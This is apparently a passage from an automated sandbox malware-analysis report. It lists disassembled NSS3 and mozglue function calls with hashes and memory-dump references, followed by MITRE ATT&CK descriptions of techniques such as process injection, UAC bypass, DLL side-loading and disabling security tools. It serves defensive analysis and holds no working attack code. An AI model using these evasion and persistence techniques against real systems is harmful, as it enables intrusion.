PK11_FreeSymKey.NSS3(?,6CA35D40,00000000,?,?,6CA26AC6,6CA3639C), ref: 6CA4AC2D

Part of subcall function 6C9EADC0: TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE10
Part of subcall function 6C9EADC0: EnterCriticalSection.KERNEL32(?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE24
Part of subcall function 6C9EADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C9CD079,00000000,00000001), ref: 6C9EAE5A
Part of subcall function 6C9EADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE6F
Part of subcall function 6C9EADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE7F
Part of subcall function 6C9EADC0: TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEB1
Part of subcall function 6C9EADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEC9

PK11_FreeSymKey.NSS3(?,6CA35D40,00000000,?,?,6CA26AC6,6CA3639C), ref: 6CA4AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CA35D40,00000000,?,?,6CA26AC6,6CA3639C), ref: 6CA4AC59
free.MOZGLUE(8CB6FF01,6CA26AC6,6CA3639C,?,?,?,?,?,?,?,?,?,6CA35D40,00000000,?,6CA3AAD4), ref: 6CA4AC62

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: b22cd5166b3046436e0ff84cc4fda79538ed9bdca65e20d719cfa3cd62e850f6
Instruction ID: 3798fe9f248aacd00f1e40de96dd6352e92646e9d7e18ac734db2c46cd1a9e1c
Opcode Fuzzy Hash: b22cd5166b3046436e0ff84cc4fda79538ed9bdca65e20d719cfa3cd62e850f6
Instruction Fuzzy Hash: 5D018FB56002049FDB00DF55E8C0B4677A8AF2471CF18C068E9498F706D734EC84CBA1

Function 6CA30840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CB02F88,6CA30660,00000020,00000000,?,?,6CA32C3D,?,00000000,00000000,?,6CA32A28,00000060,00000001), ref: 6CA30860

Part of subcall function 6C924C70: TlsGetValue.KERNEL32(?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924C97
Part of subcall function 6C924C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CB0
Part of subcall function 6C924C70: PR_Unlock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6CA32C3D,?,00000000,00000000,?,6CA32A28,00000060,00000001), ref: 6CA30874
EnterCriticalSection.KERNEL32(00000001), ref: 6CA30884
PR_Unlock.NSS3 ref: 6CA308A3

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 1bc35fee811bc821292ade54d815d6c92509c8848cd40beb3b4475e3fb1a5a66
Instruction ID: 5486d56cdfb4a2fb007966ffd96eaccf39c9c04510da2c289a16a0a4f5421f6e
Opcode Fuzzy Hash: 1bc35fee811bc821292ade54d815d6c92509c8848cd40beb3b4475e3fb1a5a66
Instruction Fuzzy Hash: 3D017B35B003546BEF002F29EC199957B38EB2636CF0C5135ED0C92A02EF3194D987E1

Function 6C9FFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C9A9003,?), ref: 6C9FFD91

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

PORT_Alloc_Util.NSS3(A4686CA0,?), ref: 6C9FFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CA0,?,?), ref: 6C9FFDC4
free.MOZGLUE(00000000,?,?), ref: 6C9FFDD1

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 9f7d207382bbc45028017fd425e59c2db818cdc3cbd4bffd0cb71be949548a8f
Instruction ID: 4f11b32ff6520f6be80066df90110ecf00e8d42b1c3bce4bdb3a03b9040fd61c
Opcode Fuzzy Hash: 9f7d207382bbc45028017fd425e59c2db818cdc3cbd4bffd0cb71be949548a8f
Instruction Fuzzy Hash: 3FF028B16012025BEB045F55EC9091B779CEF4129CB108074ED188AF01E721D856C3F1

Function 6CAAF990 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,?,6CAB2238), ref: 6CAAF9C7
free.MOZGLUE(?), ref: 6CAAF9CD
PR_Lock.NSS3(?,?,?,6CAB2238), ref: 6CAAF9DC
PR_Unlock.NSS3 ref: 6CAAFA16

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$LockUnlock
String ID:
API String ID: 628975992-0
Opcode ID: 307e59ba4008990fc47eb5b060bcdf0f0f5e57e0a594100efdd463b3427f98e7
Instruction ID: 5e6b5bd46717328a95586a9ad8208262c87b7218bbd7f00bd770be317854fcaa
Opcode Fuzzy Hash: 307e59ba4008990fc47eb5b060bcdf0f0f5e57e0a594100efdd463b3427f98e7
Instruction Fuzzy Hash: 1C0171713012059BDF489F69D9019597BF5EF4635C718406DE40A8BA60D732D846CF91

Function 6CABCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CABCC61
free.MOZGLUE ref: 6CABCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CABCC80
free.MOZGLUE(?), ref: 6CABCC87

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 36b70c4194ec23279f227a03cbb4109ea8c80d42a694b0e29d5184a4c27598cd
Instruction ID: cc5b9d10c9f61a095a7b890065f43eb998941f72fef2ef0a57cbe6fcd2953b35
Opcode Fuzzy Hash: 36b70c4194ec23279f227a03cbb4109ea8c80d42a694b0e29d5184a4c27598cd
Instruction Fuzzy Hash: CFE065767007099FCA10EFA9DC44C8777BCEE492747154525E691C3740D235F916CBE1

Function 6C999DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C999E1F

Part of subcall function 6C9513C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C922352,?,00000000,?,?), ref: 6C951413
Part of subcall function 6C9513C0: memcpy.VCRUNTIME140(00000000,6C922352,00000002,?,?,?,?,6C922352,?,00000000,?,?), ref: 6C9514C0

Strings

ESCAPE expression must be a single character, xrefs: 6C999F78
LIKE or GLOB pattern too complex, xrefs: 6C99A006

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 4e244fe1462d1a7beb42dc40645be5712c51f948f1b3769ba4c00de9a09b4582
Instruction ID: b0821f6d4f533411f852ff9ac8bb4789d05227db8fc4b3ca0625b1deab3a6009
Opcode Fuzzy Hash: 4e244fe1462d1a7beb42dc40645be5712c51f948f1b3769ba4c00de9a09b4582
Instruction Fuzzy Hash: 1D812A74A042558FDB04CF39C0803AAB7F6AF45318F2E8659D8AD8BB81D736DC86C791

Function 6C9F4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9F4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C9F4DE6

Strings

%d.%d, xrefs: 6C9F4DDE

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 756cdbee6be9020b101069056e2c505835ad7cb7bc8d861dfa2e793f763f70ce
Instruction ID: 08ca5eeae697b4896fe9c350653866b0cb08e60a50bbad541645216c9cfe4ee0
Opcode Fuzzy Hash: 756cdbee6be9020b101069056e2c505835ad7cb7bc8d861dfa2e793f763f70ce
Instruction Fuzzy Hash: 2631FBB2D042186BEB105BA59C01BFF776CEF50308F050469ED255B681EB30E94ACBB2

Function 6CA05820 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(6C9E615D,FORTEZZA,00000008,?,00000000,?,?,6C9E615D,?,00000000), ref: 6CA05844
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(6C9E6160,?,?,?,6C9E615D,?,00000000), ref: 6CA05865

Strings

FORTEZZA, xrefs: 6CA0583E

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: L_strncasecmpatoi
String ID: FORTEZZA
API String ID: 4019336161-942151381
Opcode ID: 256969121e6261791f5f7e0ede094c27f5dc87ab45389fcfe558988219018f26
Instruction ID: 02cec4a0701c2bb4907d4297e41a6cd1c5c538f5a6d241efa67c285b398de5a4
Opcode Fuzzy Hash: 256969121e6261791f5f7e0ede094c27f5dc87ab45389fcfe558988219018f26
Instruction Fuzzy Hash: A8014961A4839A2EE7204E35E448752BFD8BF062DCF0C442ADDD882A01E371E1CDD384

Function 6CA3AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CA3AF78

Part of subcall function 6C99ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C99ACE2
Part of subcall function 6C99ACC0: malloc.MOZGLUE(00000001), ref: 6C99ACEC
Part of subcall function 6C99ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C99AD02
Part of subcall function 6C99ACC0: TlsGetValue.KERNEL32 ref: 6C99AD3C
Part of subcall function 6C99ACC0: calloc.MOZGLUE(00000001,?), ref: 6C99AD8C
Part of subcall function 6C99ACC0: PR_Unlock.NSS3 ref: 6C99ADC0
Part of subcall function 6C99ACC0: PR_Unlock.NSS3 ref: 6C99AE8C
Part of subcall function 6C99ACC0: free.MOZGLUE(?), ref: 6C99AEAB

memcpy.VCRUNTIME140(6CB03084,6CB002AC,00000090), ref: 6CA3AF94

Strings

SSL, xrefs: 6CA3AF73

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 64caa2c8ed025755bb2724a3a563d825c0c96de3ad6f402bb4c4257b6f26a2fe
Instruction ID: 4be731eccf3a694779cbc1798b76aff6b83b7b2d13790026fda3d6f91c4c5880
Opcode Fuzzy Hash: 64caa2c8ed025755bb2724a3a563d825c0c96de3ad6f402bb4c4257b6f26a2fe
Instruction Fuzzy Hash: 2B2170B6717E789EDB00DF59B92BB127A7AB322248710620DC10D8FB24F73140849FD9

Function 6C990F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F1B

Part of subcall function 6C991370: GetSystemInfo.KERNEL32(?,?,?,?,6C990936,?,6C990F20,6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000), ref: 6C99138F

PR_NewLogModule.NSS3(clock,6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F25

Part of subcall function 6C991110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C990936,00000001,00000040), ref: 6C991130
Part of subcall function 6C991110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C990936,00000001,00000040), ref: 6C991142
Part of subcall function 6C991110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C990936,00000001), ref: 6C991167

Strings

clock, xrefs: 6C990F20

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 75db52ccb050bef5150556479ac0e53249d31a9607e2568f696c58e598a18190
Instruction ID: 937baa55fa574940bcbc4fe5860585e1708d7e191e1890f6f8f4c2a68b5903c7
Opcode Fuzzy Hash: 75db52ccb050bef5150556479ac0e53249d31a9607e2568f696c58e598a18190
Instruction Fuzzy Hash: E5D0223130430466CB1022979C45BA6B3BCE7F3279F04882AE00842D101B24D0DEC276

Function 6CA00DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CA00DF5
TlsGetValue.KERNEL32 ref: 6CA00E2D
TlsGetValue.KERNEL32 ref: 6CA00E58
TlsGetValue.KERNEL32 ref: 6CA00E84

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 8551ef08b11341071feb0e0854b4ba07a72cb9e57ddd188757beef6d0db32dac
Instruction ID: 2eefb034d9bbcb49757de9a3440ff9278929a66cbce060ea4503868d55fcfde7
Opcode Fuzzy Hash: 8551ef08b11341071feb0e0854b4ba07a72cb9e57ddd188757beef6d0db32dac
Instruction Fuzzy Hash: D731E9707443818FDB106F7CE84425977B8BF1A38CF09862DD89897A11EB34D4C6CB82

Function 6CA00F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C9A2AF5,?,?,?,?,?,6C9A0A1B,00000000), ref: 6CA00F1A
malloc.MOZGLUE(00000001), ref: 6CA00F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CA00F42
TlsGetValue.KERNEL32 ref: 6CA00F5B

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 4cae8ae156bbc8995bd5ef062aafb5911dff0686e27eabb1a13cff01b2aa9187
Instruction ID: 04a5c549d66b5d1d8d94e7715c0d12d6eec8588a6c934b9dfda5cd74e1742113
Opcode Fuzzy Hash: 4cae8ae156bbc8995bd5ef062aafb5911dff0686e27eabb1a13cff01b2aa9187
Instruction Fuzzy Hash: 6E01D8B1F013805BE7102F3EAE445567BACEF522DDB094165ED1CC3A21EB31C889C6E2

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
